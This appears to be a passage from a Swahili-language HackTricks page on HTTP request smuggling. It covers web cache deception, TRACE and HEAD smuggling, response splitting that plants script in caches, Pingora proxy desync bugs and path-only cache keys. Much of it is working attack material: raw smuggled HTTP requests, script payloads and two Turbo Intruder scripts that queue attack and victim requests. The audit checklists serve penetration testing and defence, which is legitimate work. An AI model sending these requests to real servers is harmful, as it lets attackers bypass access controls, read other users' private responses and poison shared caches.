Katika web cache deception, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, kisha mshambuliaji huchukua maudhui haya kutoka kwenye cache.

Mshambuliaji hutengeneza ombi lililopachikwa linalochukua maudhui nyeti mahususi kwa mtumiaji. Fikiria mfano ufuatao:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ikiwa ombi hili lililosmuggle litachafua cache entry iliyokusudiwa kwa maudhui ya static (k.m., /someimage.png), data nyeti za mwathiriwa kutoka /private/messages zinaweza kuhifadhiwa chini ya cache entry ya static content. Kwa hivyo, mshambuliaji angeweza kwa uwezekano kupata data hizi nyeti zilizocached.

Kutumia vibaya TRACE kupitia HTTP Request Smuggling

Katika post hii inapendekezwa kwamba ikiwa server imewasha method TRACE inawezekana kuitumia vibaya kwa kutumia HTTP Request Smuggling. Hii ni kwa sababu method hii itareflect header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Nitakutuma jibu kama:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa kutumia vibaya tabia hii ungekuwa kusmuggle kwanza ombi la HEAD. Ombi hili litajibiwa kwa headers pekee za ombi la GET (Content-Type miongoni mwao). Kisha smuggle mara moja baada ya HEAD ombi la TRACE, ambalo litakuwa likireflect data iliyotumwa.
Kwa kuwa jibu la HEAD litakuwa na header ya Content-Length, jibu la ombi la TRACE litatendewa kama body ya jibu la HEAD, hivyo kureflect data yoyote kwenye jibu.
Jibu hili litatumwa kwa ombi linalofuata juu ya connection, hivyo hili linaweza kutumika kwenye faili ya JS iliyo cached kwa mfano kuingiza code yoyote ya JS.

Kuitumia TRACE vibaya kupitia HTTP Response Splitting

Endelea kufuata post hii inapendekezwa njia nyingine ya kutumia vibaya method ya TRACE. Kama ilivyoelezwa, kwa kusmuggle ombi la HEAD na ombi la TRACE inawezekana kudhibiti baadhi ya data iliyoreflectiwa kwenye jibu la ombi la HEAD. Urefu wa body ya ombi la HEAD kimsingi unaonyeshwa katika header ya Content-Length na huundwa na jibu la ombi la TRACE.

Kwa hiyo, wazo jipya lingekuwa kwamba, kwa kujua Content-Length hii na data iliyotolewa kwenye jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, hivyo kumruhusu mshambulizi kudhibiti kabisa request ya jibu linalofuata (ambalo linaweza kutumika kufanya cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itatoa majibu haya (ona jinsi jibu la HEAD lina Content-Length inayofanya sehemu ya jibu la TRACE kuwa sehemu ya body ya HEAD na mara Content-Length ya HEAD inapomalizika, jibu halali la HTTP linakuwa smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Umegundua vulnerability ya HTTP Request Smuggling na hujui jinsi ya kuiexploit. Jaribu hizi njia nyingine za exploitation:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Kutoka https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Baadhi ya bug za Pingora za 2026 ni muhimu kwa sababu zinaonyesha desync primitives beyond classic CL.TE / TE.CL. Somo linaloweza kutumika tena ni: wakati wowote proxy inasitisha parsing mapema mno, ina-normalize Transfer-Encoding tofauti na backend, au inarudi kwenye read-until-close kwa request bodies, unaweza kupata FE↔BE desync hata bila traditional CL/TE ambiguity.

Premature `Upgrade` passthrough

Ikiwa reverse proxy inabadilika kwenda raw tunnel / passthrough mode mara tu inapoona Upgrade header, bila kusubiri backend ithibitishe switch hiyo kwa 101 Switching Protocols, unaweza ku-smuggle second request ndani ya same TCP stream:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Sehemu ya front-end huchanganua tu request ya kwanza, kisha husambaza iliyobaki kama raw bytes. Backend huchanganua bytes zilizoongezwa kama request mpya kutoka kwa IP inayoaminika ya proxy. Hii ni muhimu hasa kwa:

Kupitisha proxy ACLs, WAF rules, auth checks, na rate limits.
Kufikia internal-only endpoints zinazoiamini reverse proxy IP.
Kuchochea cross-user response queue poisoning kwenye connections za backend zinazotumika tena.

Wakati wa auditing proxies, kila mara jaribu kama thamani yoyote ya Upgrade husababisha passthrough, na thibitisha kama swichi hutokea kabla au baada ya backend kujibu 101.

`Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback

Mfano mwingine unaofaa ni:

Proxy inaona kuwa Transfer-Encoding ipo, hivyo inaondoa Content-Length.
Proxy inashindwa ku-normalize TE kwa usahihi.
Proxy sasa haina framing inayotambulika na hurudi kwenye close-delimited request bodies kwa HTTP/1.0.
Backend inaelewa TE kwa usahihi na huona bytes baada ya 0\r\n\r\n kama request mpya.

Njia za kawaida za kuchochea hili:

Comma-separated TE list not parsed:

GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:

Duplicate TE headers not merged:

POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Mijio muhimu ya ukaguzi ni:

Je, front-end huchanganua token ya TE ya mwisho, kama inavyohitajika wakati chunked iko mwisho?
Je, hutumia vichwa vyote vya Transfer-Encoding badala ya cha kwanza tu?
Je, unaweza kulazimisha HTTP/1.0 ili kuchochea hali ya body ya read-until-close?
Je, proxy wakati wowote huruhusu close-delimited request bodies? Hiyo yenyewe ni dalili ya thamani kubwa ya desync.

Aina hii mara nyingi huonekana kama CL.TE kutoka nje, lakini primitive halisi ni: TE ipo –> CL imeondolewa –> hakuna framing halali inayotambuliwa –> request body inapitishwa hadi close.

Ukaguzi ule ule wa Pingora pia ulifichua anti-pattern hatari ya reverse-proxy cache: kutengeneza cache key kutoka URI path pekee, huku ikipuuza Host, scheme, au port. Katika deployments za multi-tenant au multi-vhost, hosts tofauti zinaweza kisha kugongana kwenye cache entry moja:

GET /api/data HTTP/1.1
Host: evil.com

GET /api/data HTTP/1.1
Host: victim.com

Ikiwa ombi zote mbili zinafanana na cache key moja (/api/data), tenant mmoja anaweza kuchafua content ya mwingine. Ikiwa origin inaonyesha tena Host header katika redirects, CORS, HTML, au script URLs, Host reflection ya thamani ndogo inaweza kuwa cross-user stored cache poisoning.

Unapokagua caches, thibitisha kwamba key inajumuisha angalau:

Host / utambulisho wa virtual host
scheme (http dhidi ya https) wakati tabia inatofautiana
port wakati applications nyingi zinashiriki same cache namespace

Tools

HTTP Hacker (Burp BApp Store) – visualize concatenation/framing and low-level HTTP behavior
https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Angalia subscription plans!

Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.

Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.